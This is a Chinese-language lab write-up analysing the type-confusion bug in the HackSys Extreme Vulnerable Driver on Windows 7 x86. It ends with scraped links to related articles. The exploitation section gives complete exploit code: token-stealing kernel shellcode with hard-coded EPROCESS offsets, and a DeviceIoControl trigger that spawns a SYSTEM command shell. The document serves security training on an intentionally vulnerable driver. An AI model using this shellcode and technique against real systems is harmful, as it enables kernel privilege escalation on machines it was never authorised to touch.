作者selph

前言

窥探Ring0漏洞世界:类型混淆

实验环境:

•虚拟机:Windows 7 x86

•物理机:Windows 10 x64

•软件:IDA,Windbg,VS2022

漏洞分析

老样子,先IDA分析漏洞函数TriggerTypeConfusion,然后再看看源码

首先是申请了8字节非分页池内存

然后接下来,把用户传入的8字节结构保存到了内核申请的8字节空间里,然后调用了一个初始化函数,程序就结束了

现在来看看这个初始化程序,打印后4字节的内容,然后调用后4字节的内容(回调函数):

从反汇编的层面看到的是,这里传入的后4字节会被当成函数调用

接下来看看源码:

///

/// Trigger the Type Confusion Vulnerability
///

///The pointer to USER_TYPE_CONFUSION_OBJECT object
/// NTSTATUS
NTSTATUS
TriggerTypeConfusion(
In PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject
)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject = NULL;

PAGED_CODE();

__try
{//// Verify if the buffer resides in user mode//ProbeForRead(UserTypeConfusionObject,sizeof(USER_TYPE_CONFUSION_OBJECT),(ULONG)__alignof(UCHAR));//// Allocate Pool chunk//KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(NonPagedPool,sizeof(KERNEL_TYPE_CONFUSION_OBJECT),(ULONG)POOL_TAG);if (!KernelTypeConfusionObject){//// Unable to allocate Pool chunk//DbgPrint("[-] Unable to allocate Pool chunk\n");Status = STATUS_NO_MEMORY;return Status;}else{DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);}DbgPrint("[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject);DbgPrint("[+] KernelTypeConfusionObject: 0x%p\n", KernelTypeConfusionObject);DbgPrint("[+] KernelTypeConfusionObject Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;DbgPrint("[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", KernelTypeConfusionObject->ObjectID);DbgPrint("[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", KernelTypeConfusionObject->ObjectType);

#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly setting ‘Callback’
// member of the ‘KERNEL_TYPE_CONFUSION_OBJECT’ structure before passing the pointer
// of ‘KernelTypeConfusionObject’ to ‘TypeConfusionObjectInitializer()’ function as
// parameter
//

   KernelTypeConfusionObject->Callback = &TypeConfusionObjectCallback;Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);

#else
DbgPrint(“[+] Triggering Type Confusion\n”);

   //// Vulnerability Note: This is a vanilla Type Confusion vulnerability due to improper// use of the 'UNION' construct. The developer has not set the 'Callback' member of// the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer of// 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as// parameter//Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);

#endif

   DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);//// Free the allocated Pool chunk//ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);KernelTypeConfusionObject = NULL;
}

__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint(“[-] Exception Code: 0x%X\n”, Status);
}

return Status;
}

这里安全版本和非安全版本的区别在于是否初始化回调函数,然后再进入初始化函数

这里用的对象结构如下,可以看到,用户传入的是4字节的Type,而在内核结构里,后4字节是个联合体

typedef struct _USER_TYPE_CONFUSION_OBJECT
{
ULONG_PTR ObjectID;
ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;

typedef struct _KERNEL_TYPE_CONFUSION_OBJECT
{
ULONG_PTR ObjectID;
union
{
ULONG_PTR ObjectType;
FunctionPointer Callback;
};
} KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;

最后进入初始化函数,就直接调用回调函数了:

///

/// Type Confusion Object Initializer
///
///The pointer to KERNEL_TYPE_CONFUSION_OBJECT object
/// NTSTATUS
NTSTATUS
TypeConfusionObjectInitializer(
In PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject
)
{
NTSTATUS Status = STATUS_SUCCESS;

PAGED_CODE();

DbgPrint(“[+] KernelTypeConfusionObject->Callback: 0x%p\n”, KernelTypeConfusionObject->Callback);
DbgPrint(“[+] Calling Callback\n”);

KernelTypeConfusionObject->Callback();

DbgPrint(“[+] Kernel Type Confusion Object Initialized\n”);

return Status;

}

这里初始化函数没啥问题,主要在于进入初始化函数之前,对对象结构的操作,因为使用了联合体,如果没有初始化Callback,那么用户输入的ObjectType会被当成Callback去执行,这就是所谓的类型混淆。

漏洞利用

利用思路就很简单了,传入对象后四字节给定shellcode地址即可:

#include
#include

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID

typedef struct _UserObject {
ULONG_PTR ObjectID;
ULONG_PTR ObjectType;
}UserObject,*PUserObject;

VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad

    ;获取当前进程EPROCESSxor eax, eaxmov eax, fs: [eax + KTHREAD_OFFSET]mov eax, [eax + EPROCESS_OFFSET]mov ecx, eax;搜索system进程EPROCESSmov edx, SYSTEM_PIDSearchSystemPID :mov eax, [eax + FLINK_OFFSET]sub eax, FLINK_OFFSETcmp[eax + PID_OFFSET], edxjne SearchSystemPID; token窃取mov edx, [eax + TOKEN_OFFSET]mov[ecx + TOKEN_OFFSET], edx; 环境还原 + 返回popad
}

}

int main()
{
ULONG UserBufferSize = sizeof(UserObject);
PVOID EopPayload = &TokenStealingPayloadWin7;
HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
PUserObject UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);

// 构造对象

UserBuffer->ObjectID = 0x12345678;
UserBuffer->ObjectType = (ULONG_PTR)EopPayload;

ULONG WriteRet = 0;

DeviceIoControl(hDevice, 0x222023, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
UserBuffer = NULL;

system(“pause”);
system(“cmd.exe”);

return 0;
}

截图演示

挖坑

CVE-2018-8174

参考资料

•[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com) GitHub - hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver

漏洞分析丨HEVD-10.TypeConfusing[win7x86]相关推荐

  1. 漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]

    作者selph 前言 窥探Ring0漏洞世界:未初始化栈变量漏洞 上一篇探讨了空指针解引用漏洞的利用,这里来探讨另一种漏洞,未初始化栈变量漏洞,未初始化变量本身是没啥事的,但如果这个变量结构里存储了会 ...

  2. 漏洞分析丨HEVD-11.DoubleFetch[win7x86]

    作者selph 前言 窥探Ring0漏洞世界:条件竞争漏洞 在多线程访问临界区的情况下,使用进程互斥可以使多个线程不能同时访问操作关键区的变量,条件竞争漏洞就源于没有对可能会被多个线程访问的变量进行保 ...

  3. 漏洞分析丨HEVD-0x8.IntegerOverflow[win7x86]

    作者:selph 前言 窥探Ring0漏洞世界:整型溢出漏洞 本例中,整型溢出的问题出现在安全检验的地方,由于整型溢出导致错误的输入通过了安全检验,从而造成了栈溢出漏洞 所谓整型溢出,有两种,上溢出和 ...

  4. 漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]

    作者:selph 前言 窥探Ring0漏洞世界:缓冲区溢出之突破GS保护 实验环境: •虚拟机:Windows 7 x86 •物理机:Windows 10 x64 •软件:IDA,Windbg,VS2 ...

  5. 导入php插件_漏洞分析丨WordPress评论插件wpDiscuz任意文件上传

    本文共 791 字,预计阅读时间 4 分钟 首发于 『先知社区』 在T00ls上看到一个老哥WordPress站点被搞了,下载了Access日志分析了一下,发现攻击路径是先访问了一个页面,然后访问 / ...

  6. 漏洞分析丨cve-2012-0003

    作者:黑蛋 一.漏洞简介 这次漏洞属于堆溢出漏洞,他是MIDI文件中存在的堆溢出漏洞.在IE6,IE7,IE8中都存在这个漏洞.而这个漏洞是Winmm.dll中产生的. 二.漏洞环境 虚拟机 调试工具 ...

  7. 10年大厂程序员是如何高效学习使用redis的丨redis源码分析丨redis存储原理

    10年大厂程序员是怎么学习使用redis的 1. redis存储原理分析 2. redis源码学习分享 3. redis跳表和B+树详细对比分析 视频讲解如下,点击观看: 10年大厂程序员是如何高效学 ...

  8. Ruby on Rails路径穿越与任意文件读取漏洞分析(CVE-2019-5418)

    Ruby on Rails是一个 Web 应用程序框架,是一个相对较新的 Web 应用程序框架,构建在 Ruby 语言之上.它被宣传为现有企业框架的一个替代,而它的目标,就是让 Web 开发方面的生活 ...

  9. cve-2019-1821 思科 Cisco Prime 企业局域网管理器 远程代码执行 漏洞分析

    前言 不是所有目录遍历漏洞危害都相同,取决于遍历的用法以及用户交互程度.正如你将看到,本文的这个漏洞类在代码中非常难发现,但可以造成巨大的影响. 这个漏洞存在于思科Prime Infrastructu ...

最新文章

  1. Java基础:Java变量、数据类型、运算符(2)
  2. [整理]MySql批量数据导入Load data infile解决方案
  3. linux properties 出现java.io.FileNotFoundException
  4. 图神经网络(GNN)教程 – 用 PyTorch 和 PyTorch Geometric 实现 Graph Neural Networks
  5. 电商独立站-谷歌SEO指标
  6. 2019第十届蓝桥杯B组C++省赛E题迷宫--BFS(倒搜)
  7. win软件推荐:ACDSee Photo Studio Ultimate 2022(图片编辑器)
  8. 产品配件类目税目分类_2017年商品税收分类编码明细表
  9. 企业的病毒,要及时清理
  10. 如何搭建DNS--域名系统
  11. Effective Java(第三版) 学习笔记 - 第六章 枚举和注解 Rule34~Rule41
  12. mysql 1452 Cannot add or update a child row: a foreign key constraint fails
  13. 基于Java Springboot+Vue+MyBatis音乐播放系统设计实现
  14. 如何打包Google扩展程序
  15. 2017 java 知乎_2017/4/3 用java爬取知乎
  16. MDS3400调度指挥系统
  17. 书籍《金字塔原理》读后感
  18. 网页链接点击跳转微信添加微信或者打开小程序
  19. AOP到底有啥魅力?《Spring实战》系列 05
  20. 【C语言】中文符号(句号,问号,感叹号)作为标识符进行分行处理

热门文章

  1. 吞吐量和IOPS测试
  2. 异质性区域下的宏观基本图构建
  3. 软考中级 真题 2016年下半年 系统集成项目管理工程师 基础知识 上午试卷
  4. 【用复制粘贴让脚本动起来(二)】根据画面点击特定坐标
  5. 安装Ubuntu20.04后我做的那些事:插件,美化
  6. mt2523 LinkIt_SDK_v4_GCC_Build_Environment_Guide
  7. GitHub构建Maven依赖仓库
  8. 加班996,生病ICU!趁着120,这个救命利器值得被关注
  9. nrf24l01无线通信模块与51单片机工作原理
  10. 深度解析Linux通过日志反查入侵